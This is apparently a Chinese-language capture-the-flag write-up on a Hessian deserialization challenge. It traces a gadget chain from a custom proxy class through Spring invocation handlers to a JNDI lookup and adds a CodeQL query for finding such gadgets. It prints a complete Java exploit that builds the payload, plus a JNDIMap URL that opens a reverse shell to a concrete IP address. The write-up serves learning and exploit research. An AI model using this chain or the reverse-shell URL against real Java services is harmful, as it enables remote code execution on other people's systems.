前言 赛中感觉可以好好看一下,题目赛后看了看,跟着师傅的思路,感觉嗯也不是特别难,感觉前部分主要还是不太熟悉java里的一些写法,正好刚刚学习了Hessian反序列化的漏洞打法,建议复现学习的话可以跟一下N1ght师傅
要点 其实看题目,给的并不复杂,留了个反序列化时候可能走的白名单,这里注意,存在jndi,可能最后要调用这个目录下的存在lookup调用的类的方法上,这里点一下,不着急 再看这里实现了一个没有被使用的代理类Maybe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class Maybe extends Proxy implements Comparable<Object>, Serializable { public Maybe(InvocationHandler h) { super(h); } public int compareTo(Object o) { try { Method method = Comparable.class.getMethod("compareTo", Object.class); Object result = this.h.invoke(this, method, new Object[]{o}); return (Integer)result; } catch (Throwable e) { throw new RuntimeException(e); } } }
这里就是关键点,这里专门代理了一个compareTo方法然后带到某些(InvocationHandler)类的invoke方法 假设不带这个Maybe,可以怎么打? 传统的打法就那几条链子了,但是白名单死了 所以必须借助这个代理类,打后续调用 这里可以Codeql,或者直接手查 找到这个类ObjectFactoryDelegatingInvocationHandler 这里调用了getObject方法(依旧限制白名单) 然后走到ObjectFactoryCreatingFactoryBean.java,然后调用getBean方法,走到lookup方法调用 实现jndi注入,本地复现的java版本是可以打Referer加载,我就这样打了,但是实际上,最好 还是打反序列化,比如jdk8&spring的原生链,相当于高版本的退化版()
脚本直接打了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package com.learn; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.rctf.server.tool.Maybe; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.ObjectFactory; import org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean; import org.springframework.jndi.support.SimpleJndiBeanFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.util.*; public class exp { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { SimpleJndiBeanFactory m=new SimpleJndiBeanFactory(); Class<?> outerClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean"); Class<?> innerClass = null; for (Class<?> clazz : outerClass.getDeclaredClasses()) { if ("TargetBeanObjectFactory".equals(clazz.getSimpleName())) { innerClass = clazz; break; } } if (innerClass == null) { throw new RuntimeException("找不到 TargetBeanObjectFactory 类"); } Constructor<?> constructor = innerClass.getDeclaredConstructor(BeanFactory.class, String.class); constructor.setAccessible(true); // 5. 实例化 TargetBeanObjectFactory ObjectFactory<?> targetBeanObjectFactory = (ObjectFactory<?>) constructor.newInstance( m, "ldap://x.x.x.x:1389/CommonsCollections6"); String inner = "org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"; Class<?> clazz = Class.forName(inner); // 3. 构造函数只有一个参数 ObjectFactory Constructor<?> constructor1 = clazz.getDeclaredConstructor(ObjectFactory.class); constructor1.setAccessible(true); // 4. 实例化 InvocationHandler InvocationHandler handler = (InvocationHandler) constructor1.newInstance(targetBeanObjectFactory); Maybe exp=new Maybe(handler); ByteArrayOutputStream bos = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(bos); out.getSerializerFactory().setAllowNonSerializable(true); out.writeMapBegin("java.util.SortedMap"); out.writeObject(exp); out.writeInt(1); out.flush(); byte[] bytes = bos.toByteArray(); System.out.println(bytes); ByteArrayInputStream bis = new ByteArrayInputStream(bytes); Hessian2Input in = new Hessian2Input(bis); in.readObject();//this._type.equals(SortedMap.class) } public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field fieldName = clazz.getDeclaredField(field); fieldName.setAccessible(true); fieldName.set(obj, value); } }
这里是自己写的,第一次写Hessian的链子()这里本地打的是Referer,版本不高,但是还是想学一下jdk的原生反序列化
Codeql分析 我这里还是就着师傅发现的链子打的,还不能算我做到,决定跟着用Codeql分析一下,毕竟这道题白名单+特地方法很适合用Codeql构建数据库查询,然后比较关键的是存在jdk原生链可以打的 可以直接codeql database create db-name --language=java --source-root=./sources --build-mode=none
也可以用n1ght师傅的工具 都挺好的 构建之后的查询语句是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 /** * @name Empty block * @kind problem * @problem.severity warning * @id java/example/empty-block */ import java import libs.Source import libs.DangerousMethods class InvokerHandler extends Class { InvokerHandler() { this.getASupertype*().getQualifiedName() = "java.lang.reflect.InvocationHandler" and ( this.getQualifiedName().regexpMatch("java.util.+") or this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or this.getQualifiedName().regexpMatch("org.springframework.beans.+") or this.getQualifiedName().regexpMatch("org.springframework.jndi.+") ) } } class HessianObjectFactory extends Method { HessianObjectFactory() { // this.getASupertype*().getQualifiedName() = "org.springframework.beans.factory.ObjectFactory" this.getName() = "getObject" and this.hasNoParameters() and ( this.getQualifiedName().regexpMatch("java.util.+") or this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or this.getQualifiedName().regexpMatch("org.springframework.beans.+") or this.getQualifiedName().regexpMatch("org.springframework.jndi.+") ) } } // from HessianObjectFactory i, DangerousMethod m // where i.calls(m) // select i from DangerousMethod m select m, m.getName()
语句并不难编写,得多写 后续就一直跟,第二条查询语句得到getObject方法调用的类,然后进一步在跟到getBean,这个方法在某个类中被调用会走到lookup,是一条将被学习的链子 这里突然翻到了一篇文章,好像和这道题高度类似()https://xz.aliyun.com/news/17895
jdk原生反序列化 一方面按照师傅方法学一学 另一方面学一学JNDImap工具jdk8+spring,可以jackson梭哈ldap:/120.55.184.209:1389/Deserialize/Jackson/ReverseShell/120.55.184.209/65444 直接反弹shell 或者说只依赖spring的链子 可看https://mak4r1.com/write-ups/spring-jackson%E5%8E%9F%E7%94%9F%E9%93%BE/Jackson通过writeValueAsString将对象转为JSON字符串的时候,获取对象属性的时候会自动调用其getter方法。
这个就是核心了,而Jackson里有关键类如POJONodeorArrayNode,可以通过toString被调用走到getter上 可以利用CC5提供了触发toString的链子or EventListenerList 如上就这么多了,跟一跟学一学 like如此
1 2 3 4 5 6 7 ObjectMapper objmapper = new ObjectMapper(); ArrayNode arrayNode =objmapper.createArrayNode(); arrayNode.addPOJO(templates); arrayNode.toString(); POJONode zxc=new POJONode(templates); zxc.toString();